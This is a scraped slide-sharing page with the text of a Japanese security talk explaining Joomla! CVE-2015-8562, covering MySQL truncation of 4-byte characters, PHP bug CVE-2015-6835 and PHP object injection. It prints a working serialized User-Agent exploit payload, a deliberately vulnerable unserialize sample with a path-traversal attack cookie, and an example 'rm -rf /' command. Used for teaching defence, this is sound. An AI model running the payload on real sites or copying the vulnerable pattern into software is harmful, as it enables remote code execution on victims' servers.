Download free for 30 days
Sign in
Upload
Language (EN)
Support
Business
Mobile
Social Media
Marketing
Technology
Art & Photos
Career
Design
Education
Presentations & Public Speaking
Government & Nonprofit
Healthcare
Internet
Law
Leadership & Management
Automotive
Engineering
Software
Recruiting & HR
Retail
Sales
Services
Science
Small Business & Entrepreneurship
Food
Environment
Economy & Finance
Data & Analytics
Investor Relations
Sports
Spiritual
News & Politics
Travel
Self Improvement
Real Estate
Entertainment & Humor
Health & Medicine
Devices & Hardware
Lifestyle
Change Language
Language
English
Español
Português
Français
Deutsche
Cancel
Save
Submit search
EN
Uploaded by
Hiroshi Tokumaru
9,158 views
脆弱性は誰のせい? PHP、MySQL、Joomla! の責任やいかに
Joomla! の脆弱性 CVE-2015-8562 について解説します
Technology
◦
Read more
20
Save
Share
Embed
Embed presentation
1
/ 56
2
/ 56
3
/ 56
Most read
4
/ 56
5
/ 56
6
/ 56
7
/ 56
8
/ 56
9
/ 56
10
/ 56
11
/ 56
12
/ 56
Most read
13
/ 56
14
/ 56
15
/ 56
16
/ 56
17
/ 56
18
/ 56
19
/ 56
Most read
20
/ 56
21
/ 56
22
/ 56
23
/ 56
24
/ 56
25
/ 56
26
/ 56
27
/ 56
28
/ 56
29
/ 56
30
/ 56
31
/ 56
32
/ 56
33
/ 56
34
/ 56
35
/ 56
36
/ 56
37
/ 56
38
/ 56
39
/ 56
40
/ 56
41
/ 56
42
/ 56
43
/ 56
44
/ 56
45
/ 56
46
/ 56
47
/ 56
48
/ 56
49
/ 56
50
/ 56
51
/ 56
52
/ 56
53
/ 56
54
/ 56
55
/ 56
56
/ 56
More Related Content
PPTX
EC-CUBE API プラグイン勉強会
by
Kentaro Ohkouchi
PPTX
Boto3からの解放。python3の標準ライブラリのみでawsサービスを取り扱うには
by
Koitabashi Yoshitaka
PDF
はじめてのグラフデータベース 〜 Amazon Neptune と主なユースケース 〜
by
Amazon Web Services Japan
PPT
PHPのセッション管理にDynamoDBを使う
by
Taiji INOUE
PDF
コンテナのユースケース考察
by
Shuji Yamada
PPTX
KeycloakでAPI認可に入門する
by
Hitachi, Ltd. OSS Solution Center.
PDF
SQLアンチパターン読書会 4章 キーレスエンエントリ(外部キー嫌い)
by
makopi 23
PDF
Spring Boot on Kubernetes : Yahoo!ズバトク事例 #jjug_ccc
by
Yahoo!デベロッパーネットワーク
EC-CUBE API プラグイン勉強会
by
Kentaro Ohkouchi
Boto3からの解放。python3の標準ライブラリのみでawsサービスを取り扱うには
by
Koitabashi Yoshitaka
はじめてのグラフデータベース 〜 Amazon Neptune と主なユースケース 〜
by
Amazon Web Services Japan
PHPのセッション管理にDynamoDBを使う
by
Taiji INOUE
コンテナのユースケース考察
by
Shuji Yamada
KeycloakでAPI認可に入門する
by
Hitachi, Ltd. OSS Solution Center.
SQLアンチパターン読書会 4章 キーレスエンエントリ(外部キー嫌い)
by
makopi 23
Spring Boot on Kubernetes : Yahoo!ズバトク事例 #jjug_ccc
by
Yahoo!デベロッパーネットワーク
What's hot
PPTX
AWS Step Functionsを使ったバックアップシステム
by
Akihiro Kamiyama
PPTX
Keycloak入門
by
Hiroyuki Wada
PDF
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2011
by
Hiroshi Tokumaru
PDF
ソーシャルゲームの為のデータベース設計
by
kaminashi
PPTX
Keycloakの紹介と最新開発動向
by
Yuichi Nakamura
PDF
HBaseを用いたグラフDB「Hornet」の設計と運用
by
Toshihiro Suzuki
PPTX
Firebaseを利用するためにGCPとCloud IAMの 基本を理解しよう
by
kbigwheel
PDF
OAuth 2.0のResource Serverの作り方
by
Hitachi, Ltd. OSS Solution Center.
PDF
Swaggerでのapi開発よもやま話
by
KEISUKE KONISHI
PDF
Elasticsearch勉強会#44 20210624
by
Tetsuya Sodo
PDF
メルペイの与信モデリングにおける特徴量の品質向上の施策
by
Mai Nakagawa
PPTX
データモデリング・テクニック
by
Hidekatsu Izuno
PDF
Webアプリでパスワード保護はどこまでやればいいか
by
Hiroshi Tokumaru
PDF
10分でわかったつもりになるLean Analytics_10min lean analytics
by
圭 進藤
PPTX
Web制作に便利な機能いろいろ!Microsoft Azureの概要
by
典子 松本
PDF
組織の問題も解決するアーキテクチャ BackendsForFrontends
by
PIXTA Inc.
PDF
刊行記念セミナー「HBase徹底入門」
by
cyberagent
PDF
モノタロウの商品データ連携について
by
株式会社MonotaRO Tech Team
PDF
「GebとSpockではじめるシステムテスト自動化」
by
Hiroyuki Ohnaka
PDF
#idcon vol.29 - #fidcon WebAuthn, Next Stage
by
Nov Matake
AWS Step Functionsを使ったバックアップシステム
by
Akihiro Kamiyama
Keycloak入門
by
Hiroyuki Wada
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2011
by
Hiroshi Tokumaru
ソーシャルゲームの為のデータベース設計
by
kaminashi
Keycloakの紹介と最新開発動向
by
Yuichi Nakamura
HBaseを用いたグラフDB「Hornet」の設計と運用
by
Toshihiro Suzuki
Firebaseを利用するためにGCPとCloud IAMの 基本を理解しよう
by
kbigwheel
OAuth 2.0のResource Serverの作り方
by
Hitachi, Ltd. OSS Solution Center.
Swaggerでのapi開発よもやま話
by
KEISUKE KONISHI
Elasticsearch勉強会#44 20210624
by
Tetsuya Sodo
メルペイの与信モデリングにおける特徴量の品質向上の施策
by
Mai Nakagawa
データモデリング・テクニック
by
Hidekatsu Izuno
Webアプリでパスワード保護はどこまでやればいいか
by
Hiroshi Tokumaru
10分でわかったつもりになるLean Analytics_10min lean analytics
by
圭 進藤
Web制作に便利な機能いろいろ!Microsoft Azureの概要
by
典子 松本
組織の問題も解決するアーキテクチャ BackendsForFrontends
by
PIXTA Inc.
刊行記念セミナー「HBase徹底入門」
by
cyberagent
モノタロウの商品データ連携について
by
株式会社MonotaRO Tech Team
「GebとSpockではじめるシステムテスト自動化」
by
Hiroyuki Ohnaka
#idcon vol.29 - #fidcon WebAuthn, Next Stage
by
Nov Matake
Similar to 脆弱性は誰のせい? PHP、MySQL、Joomla! の責任やいかに
PDF
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2012
by
Hiroshi Tokumaru
PPTX
安全なPHPアプリケーションの作り方2014
by
Hiroshi Tokumaru
PPTX
Webサイトをめぐるセキュリティ状況と効果的な防御方法(WordPress編)
by
Hiroshi Tokumaru
PDF
PHPでセキュリティを真面目に考える
by
Takuya Sato
PPTX
徳丸本に載っていないWebアプリケーションセキュリティ
by
Hiroshi Tokumaru
PPTX
安全なPHPアプリケーションの作り方2016
by
Hiroshi Tokumaru
PPTX
introduction to unsafe deserialization part1
by
Hiroshi Tokumaru
PDF
安全なプログラムの作り方
by
Kazuhiro Nishiyama
PPTX
『例えば、PHPを避ける』以降PHPはどれだけ安全になったか
by
Hiroshi Tokumaru
PDF
[CB17] Trueseeing: Effective Dataflow Analysis over Dalvik Opcodes
by
CODE BLUE
PPTX
PHP Object Injection入門
by
Yu Iwama
PPTX
若手エンジニアのためのセキュリティ講座
by
Hiroshi Tokumaru
PPTX
セキュアコーディング方法論再構築の試み
by
Hiroshi Tokumaru
PDF
ソースで学ぶ脆弱性診断 - SmartTechGeeks #2
by
tobaru_yuta
ODP
ライブコーディングとデモで理解するWebセキュリティの基礎
by
Takahisa Kishiya
PPTX
Railsエンジニアのためのウェブセキュリティ入門
by
Hiroshi Tokumaru
PDF
2017年のセキュリティ 傾向と対策講座
by
NHN テコラス株式会社
PDF
徳丸本ができるまで
by
Hiroshi Tokumaru
PDF
安全なPHPアプリケーションの作り方2013
by
Hiroshi Tokumaru
PPTX
デバッガでWordPress本体やプラグインの脆弱性を追いかけてみよう
by
Hiroshi Tokumaru
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2012
by
Hiroshi Tokumaru
安全なPHPアプリケーションの作り方2014
by
Hiroshi Tokumaru
Webサイトをめぐるセキュリティ状況と効果的な防御方法(WordPress編)
by
Hiroshi Tokumaru
PHPでセキュリティを真面目に考える
by
Takuya Sato
徳丸本に載っていないWebアプリケーションセキュリティ
by
Hiroshi Tokumaru
安全なPHPアプリケーションの作り方2016
by
Hiroshi Tokumaru
introduction to unsafe deserialization part1
by
Hiroshi Tokumaru
安全なプログラムの作り方
by
Kazuhiro Nishiyama
『例えば、PHPを避ける』以降PHPはどれだけ安全になったか
by
Hiroshi Tokumaru
[CB17] Trueseeing: Effective Dataflow Analysis over Dalvik Opcodes
by
CODE BLUE
PHP Object Injection入門
by
Yu Iwama
若手エンジニアのためのセキュリティ講座
by
Hiroshi Tokumaru
セキュアコーディング方法論再構築の試み
by
Hiroshi Tokumaru
ソースで学ぶ脆弱性診断 - SmartTechGeeks #2
by
tobaru_yuta
ライブコーディングとデモで理解するWebセキュリティの基礎
by
Takahisa Kishiya
Railsエンジニアのためのウェブセキュリティ入門
by
Hiroshi Tokumaru
2017年のセキュリティ 傾向と対策講座
by
NHN テコラス株式会社
徳丸本ができるまで
by
Hiroshi Tokumaru
安全なPHPアプリケーションの作り方2013
by
Hiroshi Tokumaru
デバッガでWordPress本体やプラグインの脆弱性を追いかけてみよう
by
Hiroshi Tokumaru
More from Hiroshi Tokumaru
PPTX
SPAセキュリティ入門~PHP Conference Japan 2021
by
Hiroshi Tokumaru
PPTX
ウェブセキュリティのありがちな誤解を解説する
by
Hiroshi Tokumaru
PPTX
脅威分析の手法によりウェブサーバーにウイルス対策ソフトが必要かを検証する
by
Hiroshi Tokumaru
PPT
SQLインジェクション再考
by
Hiroshi Tokumaru
PPTX
徳丸本VMに脆弱なWordPressを導入する
by
Hiroshi Tokumaru
PPTX
SSRF対策としてAmazonから発表されたIMDSv2の効果と破り方
by
Hiroshi Tokumaru
PPTX
XXE、SSRF、安全でないデシリアライゼーション入門
by
Hiroshi Tokumaru
PPTX
ウェブ・セキュリティ基礎試験(徳丸基礎試験)の模擬試験問題
by
Hiroshi Tokumaru
PPTX
オニギリペイのセキュリティ事故に学ぶ安全なサービスの構築法 (PHPカンファレンス2019)
by
Hiroshi Tokumaru
PPTX
安全なWebアプリケーションの作り方2018
by
Hiroshi Tokumaru
PPTX
秀スクリプトの話
by
Hiroshi Tokumaru
PPTX
ウェブセキュリティの常識
by
Hiroshi Tokumaru
PDF
著名PHPアプリの脆弱性に学ぶセキュアコーディングの原則
by
Hiroshi Tokumaru
PDF
ウェブアプリケーションセキュリティ超入門
by
Hiroshi Tokumaru
PPTX
ウェブセキュリティの最近の話題早分かり
by
Hiroshi Tokumaru
PPTX
セキュリティの都市伝説を暴く
by
Hiroshi Tokumaru
PPTX
CMS四天王への攻撃デモを通じて、WordPressの効果的な防御法を学ぼう
by
Hiroshi Tokumaru
PPTX
Phpcon2015
by
Hiroshi Tokumaru
PPTX
SecurityとValidationの奇妙な関係、あるいはDrupalはなぜValidationをしたがらないのか
by
Hiroshi Tokumaru
PDF
Rails SQL Injection Examplesの紹介
by
Hiroshi Tokumaru
SPAセキュリティ入門~PHP Conference Japan 2021
by
Hiroshi Tokumaru
ウェブセキュリティのありがちな誤解を解説する
by
Hiroshi Tokumaru
脅威分析の手法によりウェブサーバーにウイルス対策ソフトが必要かを検証する
by
Hiroshi Tokumaru
SQLインジェクション再考
by
Hiroshi Tokumaru
徳丸本VMに脆弱なWordPressを導入する
by
Hiroshi Tokumaru
SSRF対策としてAmazonから発表されたIMDSv2の効果と破り方
by
Hiroshi Tokumaru
XXE、SSRF、安全でないデシリアライゼーション入門
by
Hiroshi Tokumaru
ウェブ・セキュリティ基礎試験(徳丸基礎試験)の模擬試験問題
by
Hiroshi Tokumaru
オニギリペイのセキュリティ事故に学ぶ安全なサービスの構築法 (PHPカンファレンス2019)
by
Hiroshi Tokumaru
安全なWebアプリケーションの作り方2018
by
Hiroshi Tokumaru
秀スクリプトの話
by
Hiroshi Tokumaru
ウェブセキュリティの常識
by
Hiroshi Tokumaru
著名PHPアプリの脆弱性に学ぶセキュアコーディングの原則
by
Hiroshi Tokumaru
ウェブアプリケーションセキュリティ超入門
by
Hiroshi Tokumaru
ウェブセキュリティの最近の話題早分かり
by
Hiroshi Tokumaru
セキュリティの都市伝説を暴く
by
Hiroshi Tokumaru
CMS四天王への攻撃デモを通じて、WordPressの効果的な防御法を学ぼう
by
Hiroshi Tokumaru
Phpcon2015
by
Hiroshi Tokumaru
SecurityとValidationの奇妙な関係、あるいはDrupalはなぜValidationをしたがらないのか
by
Hiroshi Tokumaru
Rails SQL Injection Examplesの紹介
by
Hiroshi Tokumaru
Recently uploaded
PDF
論文紹介:MotionMatcher: Cinematic Motion Customizationof Text-to-Video Diffusion ...
by
Toru Tamaki
PDF
PCCC25(設立25年記念PCクラスタシンポジウム):Pacific Teck Japan テーマ2「『Slinky』 SlurmとクラウドのKuber...
by
PC Cluster Consortium
PDF
PCCC25(設立25年記念PCクラスタシンポジウム):富士通株式会社 テーマ1「HPC&AI: Accelerating material develo...
by
PC Cluster Consortium
PDF
PCCC25(設立25年記念PCクラスタシンポジウム):日本ヒューレット・パッカード合同会社 テーマ3「IT運用とデータサイエンティストを強力に支援するH...
by
PC Cluster Consortium
PDF
PCCC25(設立25年記念PCクラスタシンポジウム):コアマイクロシステムズ株式会社 テーマ 「AI HPC時代のトータルソリューションプロバイダ」
by
PC Cluster Consortium
PPTX
2025年11月24日情報ネットワーク法学会大井哲也発表「API利用のシステム情報」
by
Tetsuya Oi
PPTX
ChatGPTのコネクタ開発から学ぶ、外部サービスをつなぐMCPサーバーの仕組み
by
Ryuji Egashira
PDF
PCCC25(設立25年記念PCクラスタシンポジウム):筑波大学計算科学研究センター テーマ3「学際計算科学による最新の研究成果」
by
PC Cluster Consortium
PDF
PCCC25(設立25年記念PCクラスタシンポジウム):Pacific Teck Japan テーマ3「『TrinityX』 AI時代のクラスターマネジメ...
by
PC Cluster Consortium
PDF
論文紹介 Rethinking Classifier Re-Training in Long-Tailed Recognition:Label Over...
by
Plot Hong
PDF
論文紹介:HiLoRA: Adaptive Hierarchical LoRA Routing for Training-Free Domain Gene...
by
Toru Tamaki
PDF
論文紹介:DiffusionRet: Generative Text-Video Retrieval with Diffusion Model
by
Toru Tamaki
PDF
PCCC25(設立25年記念PCクラスタシンポジウム):エヌビディア合同会社 テーマ1「NVIDIA 最新発表製品等のご案内」
by
PC Cluster Consortium
PDF
PCCC25(設立25年記念PCクラスタシンポジウム):日本ヒューレット・パッカード合同会社 テーマ1「大規模AIの能力を最大限に活用するHPE Comp...
by
PC Cluster Consortium
論文紹介:MotionMatcher: Cinematic Motion Customizationof Text-to-Video Diffusion ...
by
Toru Tamaki
PCCC25(設立25年記念PCクラスタシンポジウム):Pacific Teck Japan テーマ2「『Slinky』 SlurmとクラウドのKuber...
by
PC Cluster Consortium
PCCC25(設立25年記念PCクラスタシンポジウム):富士通株式会社 テーマ1「HPC&AI: Accelerating material develo...
by
PC Cluster Consortium
PCCC25(設立25年記念PCクラスタシンポジウム):日本ヒューレット・パッカード合同会社 テーマ3「IT運用とデータサイエンティストを強力に支援するH...
by
PC Cluster Consortium
PCCC25(設立25年記念PCクラスタシンポジウム):コアマイクロシステムズ株式会社 テーマ 「AI HPC時代のトータルソリューションプロバイダ」
by
PC Cluster Consortium
2025年11月24日情報ネットワーク法学会大井哲也発表「API利用のシステム情報」
by
Tetsuya Oi
ChatGPTのコネクタ開発から学ぶ、外部サービスをつなぐMCPサーバーの仕組み
by
Ryuji Egashira
PCCC25(設立25年記念PCクラスタシンポジウム):筑波大学計算科学研究センター テーマ3「学際計算科学による最新の研究成果」
by
PC Cluster Consortium
PCCC25(設立25年記念PCクラスタシンポジウム):Pacific Teck Japan テーマ3「『TrinityX』 AI時代のクラスターマネジメ...
by
PC Cluster Consortium
論文紹介 Rethinking Classifier Re-Training in Long-Tailed Recognition:Label Over...
by
Plot Hong
論文紹介:HiLoRA: Adaptive Hierarchical LoRA Routing for Training-Free Domain Gene...
by
Toru Tamaki
論文紹介:DiffusionRet: Generative Text-Video Retrieval with Diffusion Model
by
Toru Tamaki
PCCC25(設立25年記念PCクラスタシンポジウム):エヌビディア合同会社 テーマ1「NVIDIA 最新発表製品等のご案内」
by
PC Cluster Consortium
PCCC25(設立25年記念PCクラスタシンポジウム):日本ヒューレット・パッカード合同会社 テーマ1「大規模AIの能力を最大限に活用するHPE Comp...
by
PC Cluster Consortium
脆弱性は誰のせい? PHP、MySQL、Joomla! の責任やいかに
1.
脆弱性は誰のせい? PHP、MySQL、Joomla! の責任やいかに HASHコンサルティング株式会社 徳丸 浩
2.
徳丸浩の自己紹介 • 経歴 – 1985年
京セラ株式会社入社 – 1995年 京セラコミュニケーションシステム株式会社(KCCS)に出向・転籍 – 2008年 KCCS退職、HASHコンサルティング株式会社設立 • 経験したこと – 京セラ入社当時はCAD、計算幾何学、数値シミュレーションなどを担当 – その後、企業向けパッケージソフトの企画・開発・事業化を担当 – 1999年から、携帯電話向けインフラ、プラットフォームの企画・開発を担当 Webアプリケーションのセキュリティ問題に直面、研究、社内展開、寄稿などを開始 – 2004年にKCCS社内ベンチャーとしてWebアプリケーションセキュリティ事業を立ち上げ • 現在 – HASHコンサルティング株式会社 代表 http://www.hash-c.co.jp/ – 独立行政法人情報処理推進機構 非常勤研究員 http://www.ipa.go.jp/security/ – 著書「体系的に学ぶ 安全なWebアプリケーションの作り方」(2011年3月) 「徳丸浩のWebセキュリティ教室 」(2015年10月) – 技術士(情報工学部門) 2
3.
Joomla! のコード実行脆弱性(CVE-2015-8562) 3
4.
「Joomla!」脆弱性を突かれスパム送信の踏み台に - 藤沢市関連サイト 「えのしま・ふじさわポータルサイト(えのぽ)」が不正アクセスを受け、スパムメール送信の踏み 台に悪用されていたことがわかった。 同サイトは、藤沢市が開設し、その後NPO法人である湘南ふじさわシニアネットが藤沢市と協働運営 の協定のもと運営する地域のポータルサイト。藤沢市によれば、同サイトで利用するコンテンツマ ネージメントシステム(CMS)の「Joomla!」とPHPの既知の脆弱性が突かれ、不正アクセスを受け たという。 2015年12月24日にサーバの負荷が急増したことからサーバを停止。1月12日より同市が調査を行って いたが、今回の不正アクセスにより、同サーバより約60万件のスパムメールが送信されていたことが 判明した。 同サイトでは、「健康づくり応援団」「おいしいふじさわ産」「いきいきシニアライフ」「自治会・ 町内会ページ」などのコンテンツも運営しているが、いずれも個人情報を扱っておらず、情報漏洩は ないと説明している。 同サイトは現在も停止しており、セキュリティ対策など再発防止策を講じたうえで再開する予定。 4http://www.security-next.com/066075
より引用
5.
Joomlaに深刻な脆弱性、パッチ公開2日前から攻撃横行 セキュリティ企業によると、Joomlaの脆弱性修正パッチが公開される2日前から、この脆弱性を突く ゼロデイ攻撃の発生が確認されていたという。 オープンソースのコンテンツ管理システム(CMS)「Joomla」の更新版が12月14 日(米国時間)に公開され、深刻な脆弱性が修正された。セキュリティ企業のSucuri は、パッチが公開される2日前からこの脆弱性を突くゼロデイ攻撃の発生が確認され ていたとして、Joomlaを使っているWebサイトでは直ちにパッチ適用やログ確認な どの対応に乗り出すよう促している。 Joomlaの脆弱性はバージョン1.5.0~3.4.5に存在していて、悪用されればリモート でコードを実行される恐れがある。更新版のバージョン3.4.6でこの問題が修正され た。 Sucuriのブログによれば、この脆弱性は簡単に悪用することができるといい、12月 12日の時点で既に、この問題を悪用した攻撃コードが出回っていたという。 同月13日から14日にかけて攻撃はさらに拡大。Sucuriが運営するWebサイトやハ ニーポットがことごとく攻撃されたといい、「他のあらゆるJoomlaサイトも恐らく 標的になっている」と同社は推測する。 5http://www.itmedia.co.jp/enterprise/articles/1512/15/news048.html より引用
6.
ゼロデイ攻撃ですと? 6
7.
早く調べなくては(使命感) …世界の平和に貢献しなくては 7
8.
早く調べなくては(じゃじゃ馬根性) …ブログ書きたい 8
9.
脆弱性情報はどこに? 9
10.
解説記事から https://blog.sucuri.net/2015/12/joomla-remote-code-execution-the-details.html より引用 10
11.
コードの差分から diff -r -u
joomla-3.4.5/libraries/joomla/session/session.php joomla-3.4.6/libraries/joomla/session/session.php --- joomla-3.4.5/libraries/joomla/session/session.php 2015-10-21 17:48:16.000000000 +0900 +++ joomla-3.4.6/libraries/joomla/session/session.php 2015-12-14 14:42:12.000000000 +0900 - - // Check for clients browser - if (in_array('fix_browser', $this->_security) && isset($_SERVER['HTTP_USER_AGENT'])) - { - $browser = $this->get('session.client.browser'); - - if ($browser === null) - { - $this->set('session.client.browser', $_SERVER['HTTP_USER_AGENT']); - } - elseif ($_SERVER['HTTP_USER_AGENT'] !== $browser) - { - // @todo remove code: $this->_state = 'error'; - // @todo remove code: return false; - } + // Record proxy forwarded for in the session in case we need it later + if (isset($_SERVER['HTTP_X_FORWARDED_FOR']) && filter_var($_SERVER['HTTP_X_FORWARDED_FOR'], FILTER_VALIDATE_IP) !== false) + { + $this->set('session.client.forwarded', $_SERVER['HTTP_X_FORWARDED_FOR']); } - return true; } 11
12.
PoCから • User-Agentに下記を設定してJoomla!サイトに2回アクセスす るだけ。かんたん! }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory": 0:{}s:21:"000disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"s anitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:239:"eval(chr(115). chr(121).chr(115).chr(116).chr(101).chr(109).chr(40).chr(39).chr(116).chr(11 1).chr(117).chr(99).chr(104).chr(32).chr(47).chr(116).chr(109).chr(112).chr(4 7).chr(102).chr(120).chr(39).chr(41).chr(59));JFactory::getConfig();exit";s:19: "cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20: "JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"000connection";b:1;}𠮷 野家 12
13.
𠮷野家? ※ 出回っているPoCで使われているのは別の文字です 13
14.
攻撃の流れ(Sucuriの解説より) • Joomla! がUser-Agentをセッション変数に保存するので、 セッション形式のデータ(文字列)をUser-Agent経由でセッ トする •
その際、「𠮷野家」がトリガーとなって、セッションデータ の切り詰めが起きる • 切り詰めが起きると、文字列がオブジェクトに化ける • 生成されたオブジェクトにより任意のコード実行が可能にな る 14
15.
PoCには謎が多い 15
16.
Joomla!に対するPoCの謎 • なぜセッション変数に入れた文字列が「切り詰め」されるの か? • 切り詰めが起きると、なぜ文字列がオブジェクトに「化け る」のか •
オブジェクトはデータであり、メソッドが再定義できるわけ ではないのに、なぜ「任意スクリプト実行」ができるのか? • PoCに出てくる 000 は何? • PoCのココは何をしている? …… ;JFactory::getConfig(); …… 16
17.
なぜセッション変数に入れた文字列が「切り 詰め」されるのか? 17
18.
MySQLの “仕様” だった 18
19.
MySQLの仕様確認 $ mysql test
-u root -p mysql> CREATE TABLE test (test varchar(256)) DEFAULT CHARSET=utf8; mysql> INSERT INTO test VALUES ('今日のお昼は吉野家にするよ'); mysql> INSERT INTO test VALUES ('今日のお昼は𠮷野家にするよ'); mysql> SELECT * FROM test; +-----------------------------------------+ | test | +-----------------------------------------+ | 今日のお昼は吉野家にするよ | | 今日のお昼は | +-----------------------------------------+ 2 rows in set (0.00 sec) 19 𠮷野家から先がなくなる UTF-8の4バイト文字を登録しようとすると、そ の文字を含め、それ以降が切り詰められる!!
20.
切り詰めが起きると、なぜ文字列がオブジェクト に「化ける」のか 20
21.
PHPの脆弱性CVE-2015-6835 詳しくは http://blog.tokumaru.org/2015/12/joomla-zero-day-attack-caused-by-php.html 参照 21
22.
CVE-2015-6835 22http://jvndb.jvn.jp/ja/contents/2015/JVNDB-2015-007161.html
23.
PoC <?php class Obj1 { public
$pub = 1; } session_start(); // User-Agentをセッション変数にセット $_SESSION[‘example’] = ‘user_agent|O:4:“Obj1”:1:{s:3:“pub”;i:1;}𠮷野家'; $sess_data = session_encode(); // セッションデータを取り出し var_dump($sess_data); // 表示 $sess_data = str_replace(‘𠮷野家’, ‘’, $sess_data); // 「𠮷野家」を切り詰め var_dump($sess_data); // 表示 $_SESSION = array(); // 一旦セッションを空に session_decode($sess_data); // 切り詰めたセッションデータを戻す var_dump($_SESSION); // セッション変数を表示 23
24.
PoC # 切り詰め前 string(66) "example|s:50:"user_agent|O:4:"Obj1":1:{s:3:"pub";i:1;}𠮷野家";" # 切り詰め後 string(56)
"example|s:50:"user_agent|O:4:"Obj1":1:{s:3:"pub";i:1;}";" # セッション変数のダンプ array(2) { ["example"]=> NULL ["50:"user_agent"]=> object(Obj1)#1 (1) { ["pub"]=> int(1) } } # Ubuntu12.04 パッチのまったく当たっていないPHP-5.3.10 にて実行 24 文字列の代わりにオブジェクトが出現
25.
CVE-2015-6835の対策 • PHPの標準セッションストレージだと影響はない • MySQLをセッションストレージにする場合は、セッションデータをさらにbase64 エンコード等する •
PHPバージョンを上げる(サポート中の最新に) – 5.4.45 以降の 5.4.x (サポート終了) – 5.5.29 以降の 5.5.x (サポート終了) – 5.6.13 以降の 5.6.x ○ – 7.0.0 以降の 7.0.x ○ • Linuxディストリビューションの対応 – CentOS 5,6,7ともパッチ提供なし – Ubuntu 12.04、14.04ともパッチ提供済み、1604は元々問題なし – Debian/GNU Linux Debian6はパッチ未提供、7以降は提供済み – Fedora Fedora21以降でパッチ提供済み(20はサポート終了でパッチ提供なし) 25
26.
オブジェクトはデータであり、メソッドが再定義できる わけではないのに、なぜ「任意スクリプト実行」ができ るのか? 26
27.
オブジェクトインジェクション攻撃入門 詳しくは http://blog.tokumaru.org/2015/07/phpunserialize.html 参照 27
28.
デシリアライズによるコード実行脆弱性は意外に多い • Apache Commonsのcollectionsの問題にまつわる一連の脆弱性 –
Weblogic: CVE-2015-4852 – WebSphere: CVE-2015-7450 – Jenkins: CVE-2015-8103 – Groovy: CVE-2015-3253 • Ruby On Rails XML Processor YAML Deserialization Code Execution Vulnerability(CVE-2013-0156) • FuelPHP において任意のコードが実行される脆弱性(CVE-2014-1999) • CakePHP の _validatePost 関数における内部 Cake キャッシュを変更さ れる脆弱性(CVE-2010-4335) • Joomla!の任意コードが実行される問題(CVE-2015-8562)もこの系統 Copyright © 2016 HASH Consulting Corp. 28
29.
シリアライズ・デシリアライズとは? • シリアライズ: オブジェクトや配列など任意の型のデータを文 字列形式に変換すること •
デシリアライズ: シリアライズ文字列を元のデータに戻すこと • PHPでは、それぞれ、serialize() unserialize()関数により可能 29
30.
脆弱なサンプル <?php require_once 'Logger.php'; //
ログ出力クラス if (empty($_COOKIE['status'])) die('クッキーが空です'); $status = unserialize($_COOKIE['status']); // デシリアライズ // 以下バリデーション if (! is_array($status)) die('statusは配列が必要です'); // 以下表示 echo 'height : ' . htmlspecialchars($status['height']) . '<br>'; echo 'weight : ' . htmlspecialchars($status['weight']) . '<br>'; echo 'sight : ' . htmlspecialchars($status['sight']) . '<br>'; Copyright © 2016 HASH Consulting Corp. 30
31.
脆弱なサンプル(続き) <?php // Logger.php class
Logger { const LOGDIR = '/tmp/'; // ログ出力ディレクトリ private $filename = ''; // ログファイル名 private $log = ''; // ログバッファ public function __construct($filename) { // ファイル名を指定 if (! preg_match('/A[a-z0-9.]+z/i', $filename)) { throw new Exception(‘Logger: ファイル名は英数字とドットで…'); } $this->filename = $filename; // ファイル名 $this->log = ''; // ログバッファ } public function add($log) { // ログ出力 $this->log .= $log; // バッファに追加するだけ } } Copyright © 2016 HASH Consulting Corp. 31
32.
脆弱なサンプル(続き) public function __destruct()
{ // デストラクタではバッファの中身をファイルに書き出し $path = self::LOGDIR . $this->filename; // ファイル名の組み立て $fp = fopen($path, 'a'); if ($fp === false) { die('Logger: ファイルがオープンできません' . htmlspecialchars($path)); } if (! flock($fp, LOCK_EX)) { // 排他ロックする die('Logger: ファイルのロックに失敗しました'); } fwrite($fp, $this->log); // ログの書き出し fflush($fp); // フラッシュしてからロック解除 flock($fp, LOCK_UN); fclose($fp); } } Copyright © 2016 HASH Consulting Corp. 32
33.
攻撃の準備 // 攻撃用スクリプト…攻撃者が使用 <?php require 'Logger.php';
// ファイル名のバリデーションは無効に $x = new Logger('../../../var/www/html/evil.php'); $x->add("<?php phpinfo(); ?>n"); setcookie('status', serialize($x)); 以下のクッキーを生成する Set-Cookie: status=O:6:"Logger":2:{s:16:"[NUL]Logger[NUL]filename"; s:30:"../../../var/www/html/evil.php";s:11:"[NUL]Logger[NUL]log";s:2 0:"<?php phpinfo(); ?> Copyright © 2016 HASH Consulting Corp. 33
34.
攻撃 前記のクッキーをブラウザにセットしてウェブアクセスすると、Loggerクラスのイ ンスタンスが作られる object(Logger)#1 (2) { ["filename":protected]=>
string(33) "../../../../var/www/html/evil.php" ["log":protected]=> string(19) "<?php phpinfo(); ?>" } このオブジェクトが破棄されるタイミングで、デストラタクタにより、ログファイ ル/tmp/../../../var/www/html/evil.php (すなわち、 /var/www/html/evil.php)に下記の内容がログとして出力される <?php phpinfo(); ?> Copyright © 2016 HASH Consulting Corp. 34
35.
Joomla!の場合、任意スクリプト実行に悪用でき るクラスはあるか? 35
36.
任意スクリプト実行に悪用できそうなパターンを探す • 下記のパターンが Joomla!
に含まれないか? • ドキュメントルート下に .php等の拡張子で任意の文字列が書き込みで きる(先程の例) • eval($this->foo); がある – fooプロパティにPHPスクリプトをセットする • system($this->foo); がある – fooプロパティにシェルコマンドをセットする • call_user_func($this->foo, $this->bar); がある – fooプロパティに関数名、barプロパティに関数の引数をセットする 例: $this->foo = ‘system’; $this->bar = ‘rm –rf /’; 36
37.
call_user_func($this->foo, $this->bar);ならある class SimplePie {
// 中略 function init() { // 中略 if ($this->feed_url !== null || $this->raw_data !== null) { if ($this->feed_url !== null) { if ($this->cache && $parsed_feed_url['scheme'] !== '') { $cache = call_user_func(array($this->cache_class, 'create'), $this- >cache_location, call_user_func($this->cache_name_function, $this->feed_url), 'spc'); // 後略 37 call_user_func( $this->cache_name_function, $this->feed_url) これらの if が全部通 るようにプロパティを 設定する必要あり
38.
